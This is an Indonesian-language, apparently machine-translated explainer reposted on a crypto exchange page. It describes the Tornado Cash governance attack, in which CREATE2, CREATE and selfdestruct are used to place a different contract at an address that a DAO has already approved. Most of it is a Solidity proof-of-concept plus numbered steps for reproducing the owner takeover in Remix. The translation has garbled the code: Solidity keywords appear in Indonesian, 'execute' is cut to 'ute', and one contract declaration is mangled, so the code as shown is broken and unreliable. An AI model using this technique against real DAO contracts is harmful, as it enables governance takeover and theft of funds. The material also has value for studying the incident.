Tornado Governance Attack: Cara Menyebarkan Kontrak Berbeda di Alamat yang Sama

Sekitar dua minggu lalu (20 Mei), protokol pencampuran mata uang terkenal Tornado Cash mengalami serangan tata kelola, dan peretas memperoleh kendali (Pemilik) atas kontrak tata kelola Tornado Cash.

Proses penyerangan adalah sebagai berikut: penyerang pertama-tama mengajukan proposal yang "berpenampilan normal", dan setelah proposal tersebut disahkan, menghancurkan alamat kontrak yang akan dieksekusi oleh proposal tersebut, dan membuat ulang kontrak serangan pada alamat tersebut.

Untuk proses serangan, Anda dapat melihat Analisis Prinsip Serangan Tornado.Cash Proposal SharkTeam [1] 。

Kunci serangan di sini adalah menerapkan kontrak yang berbeda pada alamat yang sama. Bagaimana hal ini dicapai?

latar belakang pengetahuan

Ada dua opcode di EVM untuk membuat kontrak: CREATE dan CREATE2.

BUAT opcode

Saat menggunakan new Token() untuk menggunakan opcode CREATE, fungsi penghitungan alamat kontrak yang dibuat adalah:

alamat tokenAddr = bytes20(keccak256(alamatpengirim, nonce))

Alamat kontrak yang dibuat ditentukan oleh alamat pembuat + Nonce pembuat (jumlah kontrak yang dibuat), karena Nonce selalu bertambah secara bertahap, ketika Nonce bertambah, alamat kontrak yang dibuat selalu berbeda.

CREATE2 opcode

Saat menambahkan salt new Token{salt: bytes32()}(), opcode CREATE2 digunakan, dan fungsi penghitungan alamat kontrak yang dibuat adalah:

alamat tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

Alamat kontrak yang dibuat adalah alamat pembuat + salt khusus + bytecode kontrak cerdas yang akan diterapkan, jadi hanya bytecode yang sama dan nilai salt yang sama yang dapat digunakan Dapat diterapkan ke alamat kontrak yang sama.

Jadi bagaimana kontrak yang berbeda dapat digunakan di alamat yang sama?

Metode serangan

Penyerang menggunakan Create2 dan Create bersama-sama untuk membuat kontrak, seperti yang ditunjukkan pada gambar:

Kode dirujuk dari:

Pertama gunakan Create2 untuk menerapkan Deployer kontrak, lalu gunakan Create in Deployer untuk membuat Proposal kontrak target (untuk penggunaan proposal). Baik kontrak Deployer maupun Proposal memiliki implementasi penghancuran diri (selfdestruct).

Setelah proposal diteruskan, penyerang menghancurkan Deployer dan kontrak Proposal, lalu membuat ulang Deployer dengan slat yang sama. Bytecode Deployer tetap sama, dan slatnya sama, sehingga alamat kontrak Deployer yang sama seperti sebelumnya akan diperoleh, tetapi saat ini Deployer Keadaan kontrak dihapus, dan nonce dimulai dari 0, sehingga serangan kontrak lain dapat dibuat menggunakan nonce ini.

Contoh kode serangan

Kode ini dari:

// Pengenal-Lisensi-SPDX: MIT soliditas pragma ^0.8.17; kontrak DAO { struct Proposal { sasaran alamat; bool disetujui; bool uted; } alamat pemilik publik = msg.sender; Proposal[] proposal publik; fungsi menyetujui (target alamat) eksternal { membutuhkan (msg.sender == pemilik, "tidak berwenang"); proposals.push(Proposal({target: target, disetujui: benar, uted: false})); } function ute(uint256 proposalId) external payable { Proposal penyimpanan proposal = proposal [proposalId] ; memerlukan(proposal.disetujui, "tidak disetujui"); membutuhkan(!proposal.uted, "uted"); proposal.uted = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); memerlukan(oke, "panggilan delegasi gagal"); } } Proposal kontrak { Log peristiwa (string pesan); fungsi uteProposal() eksternal { emit Log("Kode yang dikeluarkan disetujui oleh DAO"); } fungsi emergencyStop() eksternal { penghancuran diri(dibayarkan(alamat(0))); } } kontrak Serangan { Log peristiwa (pesan string); alamat pemilik publik; fungsi uteProposal() eksternal { emit Log("Kode yang dikeluarkan tidak disetujui oleh DAO :)"); // Misalnya - setel pemilik DAO ke penyerang pemilik = pesan.pengirim; } } kontrak DeployerDeployer { Log peristiwa (alamat alamat); fungsi menyebarkan() eksternal { garam bytes32 = keccak256(abi.encode(uint(123))); alamat addr = alamat(Penyebar baru{garam: garam}()); memancarkan Log(addr); } } Kontraktor { Log peristiwa (alamat alamat); fungsi menyebarkanProposal() eksternal { alamat addr = alamat(Proposal baru()); memancarkan Log(addr); } fungsi deployAttack() eksternal { alamat addr = alamat(Serangan baru()); memancarkan Log(addr); } fungsi bunuh() eksternal { penghancuran diri(dibayarkan(alamat(0))); } }

Anda dapat menggunakan kode ini untuk mempelajarinya sendiri di Remix.

  1. Pertama-tama terapkan DeployerDeployer, panggil DeployerDeployer.deploy() untuk menerapkan Deployer, lalu panggil Deployer.deployProposal() untuk menerapkan Proposal.
  2. Setelah mendapatkan alamat kontrak proposal Proposal, ajukan proposal ke DAO.
  3. Panggil Deployer.kill dan Proposal.emergencyStop masing-masing untuk menghancurkan Deployer dan Proposal
  4. Panggil DeployerDeployer.deploy() lagi untuk menerapkan Deployer, panggil Deployer.deployAttack() untuk menerapkan Attack, dan Attack akan konsisten dengan Proposal sebelumnya.
  5. Saat menjalankan DAO.ute, serangan tersebut telah memperoleh izin Pemilik dari DAO.
Lihat Asli
Konten ini hanya untuk referensi, bukan ajakan atau tawaran. Tidak ada nasihat investasi, pajak, atau hukum yang diberikan. Lihat Penafian untuk pengungkapan risiko lebih lanjut.
  • Hadiah
  • Komentar
  • Bagikan
Komentar
0/400
Tidak ada komentar
  • Sematkan
Perdagangkan Kripto Di Mana Saja Kapan Saja
qrCode
Pindai untuk mengunduh aplikasi Gate.io
Komunitas
Indonesia
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)